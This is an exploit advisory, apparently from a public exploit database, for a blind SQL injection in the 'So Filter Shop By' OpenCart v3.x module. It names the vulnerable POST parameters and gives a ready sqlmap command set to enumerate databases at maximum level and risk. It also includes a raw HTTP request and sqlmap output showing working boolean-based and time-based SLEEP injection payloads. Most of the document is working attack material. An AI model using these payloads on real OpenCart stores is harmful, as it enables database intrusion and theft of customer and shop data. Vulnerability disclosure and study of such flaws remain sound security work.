# Exploit Title: OpenCart v3.x So Filter Shop By - Blind SQL Injection # Date: 28/06/2022 # Exploit Author: Saud Alenazi # Vendor Homepage: https://www.opencart.com/ # Software Link: https://codecanyon.net/item/so-filter-shop-by-responsive-opencart-module/13945633 # Version: V3.X # Tested on: XAMPP, Linux # Contact: https://twitter.com/dmaral3noz * Description : So Filter Shop By Module is compatible with any Opencart allows SQL Injection via parameter 'att_value_id , manu_value_id , opt_value_id , subcate_value_id ' in /index.php?route=extension/module/so_filter_shop_by/filter_data. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. * Sqlmap command : sqlmap -u 'http://127.0.0.1/index.php?route=extension/module/so_filter_shop_by/filter_data' --data "att_value_id=saud&category_id_path=80&condition_search=AND&isFilterShopBy=1&manu_value_id=&maxPrice=1&minPrice=0&opt_value_id=&product_arr_all=70%2C72%2C75%2C74%2C73%2C71&product_id_in=70%2C72%2C75%2C74%2C73%2C71&subcate_value_id=&text_search=saud" -p "att_value_id" --method POST --level=5 --risk=3 --dbs --random-agent Request : =========== POST /index.php?route=extension/module/so_filter_shop_by/filter_data HTTP/1.1 Content-Type: application/x-www-form-urlencoded Cookie: OCSESSID=aaf920777d0aacdee96eb7eb50 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate Content-Length: 29 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Connection: Keep-alive att_value_id=1&category_id_path=80&condition_search=AND&isFilterShopBy=1&manu_value_id=&maxPrice=1&minPrice=0&opt_value_id=&product_arr_all=70%2C72%2C75%2C74%2C73%2C71&product_id_in=70%2C72%2C75%2C74%2C73%2C71&subcate_value_id=&text_search=saud =========== Output : Parameter: att_value_id (POST) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause Payload: att_value_id=-7402) OR 6808=6808 AND (4992=4992&category_id_path=80&condition_search=AND&isFilterShopBy=1&manu_value_id=&maxPrice=1&minPrice=0&opt_value_id=&product_arr_all=70,72,75,74,73,71&product_id_in=70,72,75,74,73,71&subcate_value_id=&text_search=saud Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: att_value_id=1) AND (SELECT 6365 FROM (SELECT(SLEEP(5)))qqBP) AND (7704=7704&category_id_path=80&condition_search=AND&isFilterShopBy=1&manu_value_id=&maxPrice=1&minPrice=0&opt_value_id=&product_arr_all=70,72,75,74,73,71&product_id_in=70,72,75,74,73,71&subcate_value_id=&text_search=saud